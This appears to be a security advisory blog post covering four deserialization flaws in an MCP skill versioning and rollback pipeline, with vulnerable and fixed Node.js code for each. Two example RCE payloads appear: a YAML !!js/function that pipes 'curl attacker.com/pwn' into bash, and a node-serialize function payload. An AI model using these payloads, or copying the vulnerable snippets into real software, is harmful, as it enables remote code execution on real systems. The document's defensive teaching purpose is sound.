← Blog

Claude MCP skill insecure deserialization — skill version management and rollback pipeline

SA-SKL-DESER13  |  SkillAudit Security Catalog  |  14 Nov 2026
SA-SKL-DESER13 findings
HIGHDESER13-001 — Skill version metadata stored as MessagePack in S3 and restored via msgpack.decode() without schema; attacker with S3 write access injects isLatest:true making a vulnerable old version appear as latest in registry search
CRITICALDESER13-002 — Rollback job reads version manifest from Redis via YAML.load() DEFAULT_FULL_SCHEMA; !!js/function parse-time RCE on rollback trigger; fix: YAML.safeLoad() and store manifests in DB not Redis
CRITICALDESER13-003 — Skill diff computation deserializes base version from Redis via node-serialize and unserialize(); attacker with Redis write access injects serialized function object achieving RCE at diff time
HIGHDESER13-004 — Version comparison token decoded from base64 JSON without HMAC; attacker crafts token with targetVersion:malicious bypassing version validation in rollback endpoint

DESER13-001 — MessagePack version metadata injection via S3

Skill version metadata (whether a version is the latest, its release date, compatibility flags, and audit grade) is stored as a MessagePack blob in S3 alongside the skill package. The restore path uses msgpack.decode(blob) and assigns the result directly into the version record without schema validation. An attacker with write access to the S3 bucket (via a compromised IAM key, an S3 misconfiguration, or an SSRF that can PUT objects) can upload a crafted MessagePack blob that sets isLatest:true on an older, known-vulnerable version. Registry search returns this version as the current stable release.

Vulnerable
// DESER13-001 — VULNERABLE
const msgpack = require('@msgpack/msgpack');

async function restoreVersionMetadata(skillId, versionId) {
  const blob = await s3.getObject({ Bucket: 'skill-metadata', Key: `${skillId}/${versionId}.msgpack` });
  const meta = msgpack.decode(blob.Body); // no schema validation
  await db.versions.update(versionId, meta); // attacker-injected fields written to DB
  return meta;
}
Fixed
// DESER13-001 — FIXED
const msgpack = require('@msgpack/msgpack');
const { z } = require('zod');

const VersionMetaSchema = z.object({
  skillId: z.string().uuid(),
  versionId: z.string().uuid(),
  semver: z.string().regex(/^\d+\.\d+\.\d+$/),
  auditGrade: z.enum(['A', 'B', 'C', 'D', 'F']),
  publishedAt: z.string().datetime(),
  // isLatest is NEVER trusted from S3 — computed from DB state only
});

async function restoreVersionMetadata(skillId, versionId) {
  const blob = await s3.getObject({ Bucket: 'skill-metadata', Key: `${skillId}/${versionId}.msgpack` });
  const raw = msgpack.decode(blob.Body);
  const meta = VersionMetaSchema.parse(raw); // throws on unexpected fields
  // isLatest and other derived fields come only from DB, never from S3
  await db.versions.update(versionId, {
    auditGrade: meta.auditGrade,
    publishedAt: meta.publishedAt,
  });
  return meta;
}

DESER13-002 — YAML.load RCE in version rollback job

The rollback job reads a version manifest from Redis (cached at publish time) using YAML.load(manifest, { schema: yaml.DEFAULT_FULL_SCHEMA }). The DEFAULT_FULL_SCHEMA in js-yaml includes the !!js/function and !!js/undefined YAML types, which cause the library to eval() the function string at parse time. An attacker with Redis write access replaces the manifest with a YAML blob containing !!js/function '() => { require("child_process").execSync("curl attacker.com/pwn | bash"); }'. When the next rollback job runs, the YAML parse triggers execution.

Vulnerable
// DESER13-002 — VULNERABLE
const yaml = require('js-yaml');

async function runRollbackJob(skillId, targetVersion) {
  const manifest = await redis.get(`manifest:${skillId}:${targetVersion}`);
  if (!manifest) throw new Error('Manifest not found');
  // DEFAULT_FULL_SCHEMA includes !!js/function — parse-time RCE
  const parsed = yaml.load(manifest, { schema: yaml.DEFAULT_FULL_SCHEMA });
  await applyRollback(skillId, parsed);
}

Never store YAML manifests in Redis: Redis is an in-memory data store with no object-level encryption or integrity checks. Any principal with network access to the Redis port can overwrite any key. Storing YAML (or any executable-capable format) in Redis and later parsing it with a full schema is equivalent to storing code in a location that may be overwritten by an attacker. Store manifests in the application database with row-level ownership checks, and use a fixed schema (FAILSAFE_SCHEMA) or JSON rather than YAML.

Fixed
// DESER13-002 — FIXED
const yaml = require('js-yaml');

async function runRollbackJob(skillId, targetVersion) {
  // Manifests stored in DB, not Redis. Redis holds only a cache flag.
  const manifest = await db.versionManifests.findBySkillAndVersion(skillId, targetVersion);
  if (!manifest) throw new Error('Manifest not found');
  // FAILSAFE_SCHEMA: only strings, sequences, and mappings — no !!js/function
  const parsed = yaml.load(manifest.yamlContent, { schema: yaml.FAILSAFE_SCHEMA });
  // Further validate with Zod schema after YAML parse
  const validated = ManifestSchema.parse(parsed);
  await applyRollback(skillId, validated);
}

DESER13-003 — node-serialize RCE in skill diff computation

The diff engine computes a semantic diff between the current and base versions of a skill. The base version object is cached in Redis using node-serialize's serialize() function and restored via unserialize(). The node-serialize library's unserialize() function evaluates any function-shaped string in the serialized payload using eval(). An attacker who overwrites the Redis key with a payload containing an IIFE function shape achieves RCE when the diff worker processes the next version.

Vulnerable
// DESER13-003 — VULNERABLE
const serialize = require('node-serialize');

// Cache base version in Redis for diff computation
async function cacheBaseVersion(skillId, version, obj) {
  await redis.set(`diff-base:${skillId}:${version}`, serialize.serialize(obj));
}

async function computeDiff(skillId, baseVersion, currentObj) {
  const cached = await redis.get(`diff-base:${skillId}:${baseVersion}`);
  const base = serialize.unserialize(cached); // VULNERABLE: eval() on function-shaped values
  return diff(base, currentObj);
}

// Attacker payload in Redis:
// {"_$$ND_FUNC$$_":"(function(){ require('child_process').execSync('id > /tmp/pwn') })()"}
Fixed
// DESER13-003 — FIXED
// Never use node-serialize. Use JSON.parse + Zod schema.
// Cache base version as plain JSON — no executable types possible.
const { z } = require('zod');

const BaseVersionSchema = z.object({
  skillId: z.string().uuid(),
  version: z.string(),
  manifest: z.record(z.unknown()),
  checksum: z.string(),
});

async function cacheBaseVersion(skillId, version, obj) {
  const validated = BaseVersionSchema.parse(obj);
  await redis.set(`diff-base:${skillId}:${version}`, JSON.stringify(validated));
}

async function computeDiff(skillId, baseVersion, currentObj) {
  const cached = await redis.get(`diff-base:${skillId}:${baseVersion}`);
  if (!cached) throw new Error('Base version cache miss');
  const base = BaseVersionSchema.parse(JSON.parse(cached)); // Zod validates after JSON parse
  return diff(base, currentObj);
}

DESER13-004 — Unsigned base64 JSON rollback token bypass

The rollback endpoint accepts a rollbackToken query parameter that is base64(JSON.stringify({skillId, fromVersion, targetVersion, requestedAt})). The token is generated by the UI and passed to the rollback worker. No HMAC or signature is applied. An attacker who intercepts or observes a legitimate token can craft a modified token with targetVersion set to any version string, bypassing the endpoint's version validation logic (which checks the token's targetVersion field rather than a server-side state record).

Vulnerable
// DESER13-004 — VULNERABLE
router.post('/rollback', requireSession, async (req, res) => {
  const { rollbackToken } = req.query;
  const decoded = JSON.parse(Buffer.from(rollbackToken, 'base64').toString());
  // decoded.targetVersion is attacker-controlled — no HMAC check
  if (decoded.skillId !== req.body.skillId) return res.status(400).end();
  await runRollback(decoded.skillId, decoded.targetVersion);
  res.json({ ok: true });
});
Fixed
// DESER13-004 — FIXED
// Use opaque server-generated token stored in DB, not a base64 JSON blob.
const crypto = require('crypto');

// At rollback initiation: generate opaque token, store state server-side
router.post('/rollback/initiate', requireSession, requireSkillOwner, async (req, res) => {
  const { skillId, targetVersion } = req.body;
  // Validate targetVersion exists and belongs to this skill
  const version = await db.versions.findBySkillAndVersion(skillId, targetVersion);
  if (!version) return res.status(404).json({ error: 'Version not found' });

  const token = crypto.randomBytes(32).toString('hex');
  await db.rollbackTokens.create({
    token,
    skillId,
    targetVersion,
    requestedBy: req.session.userId,
    expiresAt: new Date(Date.now() + 10 * 60 * 1000), // 10 min
  });
  res.json({ rollbackToken: token });
});

// At rollback execution: look up token from DB — targetVersion comes from DB, not client
router.post('/rollback/execute', requireSession, async (req, res) => {
  const { rollbackToken } = req.body;
  const record = await db.rollbackTokens.findByToken(rollbackToken);
  if (!record || record.expiresAt < new Date() || record.requestedBy !== req.session.userId) {
    return res.status(400).json({ error: 'Invalid or expired rollback token' });
  }
  await db.rollbackTokens.delete(record.id); // single-use
  await runRollback(record.skillId, record.targetVersion); // targetVersion from DB
  res.json({ ok: true });
});

Hardening summary

FindingPatternFix
DESER13-001msgpack.decode() without schema on S3-sourced metadataZod schema post-decode; isLatest computed from DB only, never from S3
DESER13-002YAML.load(DEFAULT_FULL_SCHEMA) on Redis-cached manifestYAML.FAILSAFE_SCHEMA; store manifests in DB not Redis
DESER13-003node-serialize.unserialize() on Redis-cached diff baseJSON.parse + Zod schema; never use node-serialize
DESER13-004Unsigned base64 JSON rollback tokenOpaque random token; server-side DB state; single-use; 10-min expiry

Related: SA-SKL-DESER12, SA-SKL-DESER11. Run SkillAudit to surface all DESER13 patterns in your MCP skill registry.